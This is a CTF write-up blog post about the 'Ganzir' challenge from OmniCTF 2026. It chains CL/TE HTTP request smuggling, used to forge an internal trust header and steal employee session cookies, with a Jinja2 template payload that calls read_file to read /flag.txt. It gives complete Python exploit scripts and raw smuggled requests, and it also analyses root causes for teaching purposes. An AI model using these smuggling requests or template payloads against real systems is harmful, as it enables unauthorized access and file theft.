> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Ganzir — OmniCTF 2026: From HTTP Parser Desync to Jinja2 Arbitrary File Read
- URL: https://taiwanding.com/en/ganzir-omnictf-2026-http-smuggling-jinja2-file-read-writeup/
- Published: 2026-07-20T07:25:22.000Z
- Updated: 2026-07-20T07:29:52.000Z
- Author: Kevin Chen
- Tags: #en, #en-ctf

This challenge chains two classic vulnerabilities together: first we use **HTTP Request Smuggling (Parser Desynchronization)** to forge an internally trusted header and grab an Employee Session, then we abuse a **Jinja2 Template** that exposes a dangerous helper to read the flag directly. Here is the full breakdown of the reasoning and the exploit.

## The Hints

Once you land on `/employee`, the page hands you several important hints right away:

```text
accepted job endpoint: POST /employee
accepted body formats: raw_request form field or text/plain raw HTTP
edge parser: honors Transfer-Encoding: chunked
bridge parser: trusts Content-Length before forwarding remaining bytes
internal request: GET /employee/session HTTP/1.1
required internal header: X-Employee-Gate: internal

```

In short, this challenge has two HTTP parsers:

| Parser        | Header it honors  | Purpose                                                |
| ------------- | ----------------- | ------------------------------------------------------ |
| Edge Parser   | Transfer-Encoding | Parses the chunked body                                |
| Bridge Parser | Content-Length    | Determines body length and forwards the remaining data |

The two sides disagree about where a single HTTP request actually ends, and that disagreement is the heart of the vulnerability.

## Content-Length vs. Transfer-Encoding

### Content-Length

`Content-Length` simply tells the server how many bytes the body has:

```http
POST /employee HTTP/1.1
Content-Length: 5

hello

```

When the server sees `Content-Length: 5`, it reads the following 5 bytes.

### Transfer-Encoding: chunked

Chunked encoding splits the body into several chunks:

```http
POST /employee HTTP/1.1
Transfer-Encoding: chunked

5
hello
0

```

`5` means the next segment is 5 bytes long, and the trailing `0` marks the end of the body.

## Where's the Vulnerability?

A well-behaved server should never let two conflicting length rules travel all the way through to different parsers.

But this challenge's processing flow is:

```text
The same raw HTTP request
        ↓
Edge parses using Transfer-Encoding
        ↓
Bridge decides the length using Content-Length
        ↓
The leftover data is treated as the next internal request

```

So we can hide a second request behind a normal one and let the Bridge kindly forward it to the internal endpoint.

This class of problem is called HTTP Request Smuggling, or more precisely, HTTP Parser Desynchronization.

Note that the outer `POST /employee` is itself a raw-request drop-off point. The conflicting headers go inside the `text/plain` body and are then parsed by the challenge's legacy bridge — they are not added directly on the outermost layer of Python's `requests.post()`.

## Why Did the First Payload Fail?

The body I used at first looked roughly like this:

```http
69
GET /employee/session HTTP/1.1
Host: ganzir-bcb389d7988b.inst.omnictf.com
X-Employee-Gate: internal

0

```

`69` is hexadecimal, equal to 105 in decimal, so the length calculation itself was not wrong.

The problem is that `GET /employee/session` was placed inside this non-zero chunk:

```text
69              ← the next 105 bytes are all body
GET /employee…  ← swallowed by Edge as ordinary body
0               ← end of the chunked body

```

So it would never become a second HTTP request.

**It wasn't the length that was wrong — it was where the GET was placed!**

## The Correct Smuggled Request

We need to end the chunked body with a `0` first, and then append the internal GET after it:

```http
POST /employee HTTP/1.1
Host: ganzir-bcb389d7988b.inst.omnictf.com
Content-Length: 0
Transfer-Encoding: chunked

0

GET /employee/session HTTP/1.1
Host: ganzir-bcb389d7988b.inst.omnictf.com
X-Employee-Gate: internal

```

Which now parses as:

```text
Edge sees the 0 chunk → first request ends
                         ↓
Bridge trusts CL = 0 → body length is 0
                         ↓
The leftover data starts at GET /employee/session
                         ↓
The GET is forwarded as an internal request

```

The internal endpoint sees `X-Employee-Gate: internal` and creates Cassie's Employee Session.

## Why Do You Still See a 403 After It Works?

A successful `/employee/session` returns:

```http
HTTP/1.1 302 Found
Location: /employee
Set-Cookie: site19_employee_gate=...
Set-Cookie: site19_jwt=...
Set-Cookie: site19_session=...

```

But `requests` follows redirects automatically by default.

```text
The real success response: 302 + Set-Cookie
                ↓ requests auto-redirects
The response you end up seeing: the 403 from /employee

```

So you need to add:

```python
allow_redirects=False

```

and use `requests.Session()` to preserve the cookies.

## The Full Exploit

```python
import re
import requests

HOST = "ganzir-bcb389d7988b.inst.omnictf.com"
BASE = f"https://{HOST}"

smuggled = (
    "GET /employee/session HTTP/1.1\r\n"
    f"Host: {HOST}\r\n"
    "X-Employee-Gate: internal\r\n"
    "\r\n"
).encode("ascii")

blob = (
    b"POST /employee HTTP/1.1\r\n"
    + f"Host: {HOST}\r\n".encode("ascii")
    + b"Content-Length: 0\r\n"
    + b"Transfer-Encoding: chunked\r\n"
    + b"\r\n"
    + b"0\r\n\r\n"
    + smuggled
)

session = requests.Session()

response = session.post(
    f"{BASE}/employee",
    data=blob,
    headers={"Content-Type": "text/plain"},
    allow_redirects=False,
    timeout=20,
)

print("Status:", response.status_code)
print("Location:", response.headers.get("Location"))
print("Cookies:", session.cookies.get_dict())

```

On success you get three cookies:

```text
site19_employee_gate
site19_jwt
site19_session

```

## Second Vulnerability: Arbitrary File Read via Jinja2

Once you have the Employee Session, you can access `/briefing-template`.

The page again hands you the hints directly:

```text
engine: Jinja2
variables: wave, vector
helper: read_file(path)
flag copy: /flag.txt

```

User input is executed as a Jinja2 template, and the template can call `read_file()`.

So we can read `/flag.txt` directly:

```jinja2
{{ read_file('/flag.txt') }}

```

Append the following code to the earlier exploit:

```python
response = session.post(
    f"{BASE}/briefing-template",
    data={"template": "{{ read_file('/flag.txt') }}"},
    timeout=20,
)

flag = re.search(r"CTF\{[^}]+\}", response.text)
print(flag.group(0) if flag else response.text)

```

The problem here isn't just "using Jinja2" — it's that the server treats user input directly as a template and, on top of that, exposes a `read_file()` helper that can read arbitrary paths.

## The Complete Attack Chain

```text
CL / TE parser desync
        ↓
Smuggle the internal GET /employee/session
        ↓
Forge X-Employee-Gate: internal
        ↓
Obtain the Employee Session cookie
        ↓
Access /briefing-template
        ↓
Execute {{ read_file('/flag.txt') }}
        ↓
Get the flag

```

## Root Causes

### 1\. Accepting Conflicting Framing Headers

```text
Content-Length + Transfer-Encoding present at the same time
→ different parsers apply different rules

```

### 2\. Forwarding Un-parsed Raw Bytes Directly

```text
The data trailing the first request
→ is treated as a new internal request

```

### 3\. Deciding Internal Trust Based on a Header

```http
X-Employee-Gate: internal

```

As long as you manage to reach the internal endpoint, you can forge this header.

### 4\. Over-privileged Template Helper

```jinja2
{{ read_file('/any/path') }}

```

There's no path allowlist, and no isolation between the template and the filesystem.

## Field Checklist

When you run into an HTTP parser challenge, check for:

1. Does it accept both `Content-Length` and `Transfer-Encoding` at once?
2. Do the front-end and back-end use different HTTP parsers?
3. How is the data after `0\r\n\r\n` handled?
4. Does the client follow redirects automatically, hiding the real response?
5. Are the cookies preserved in a single session?
6. Does internal trust rely solely on a forgeable header?
7. Does the template engine expose a dangerous helper?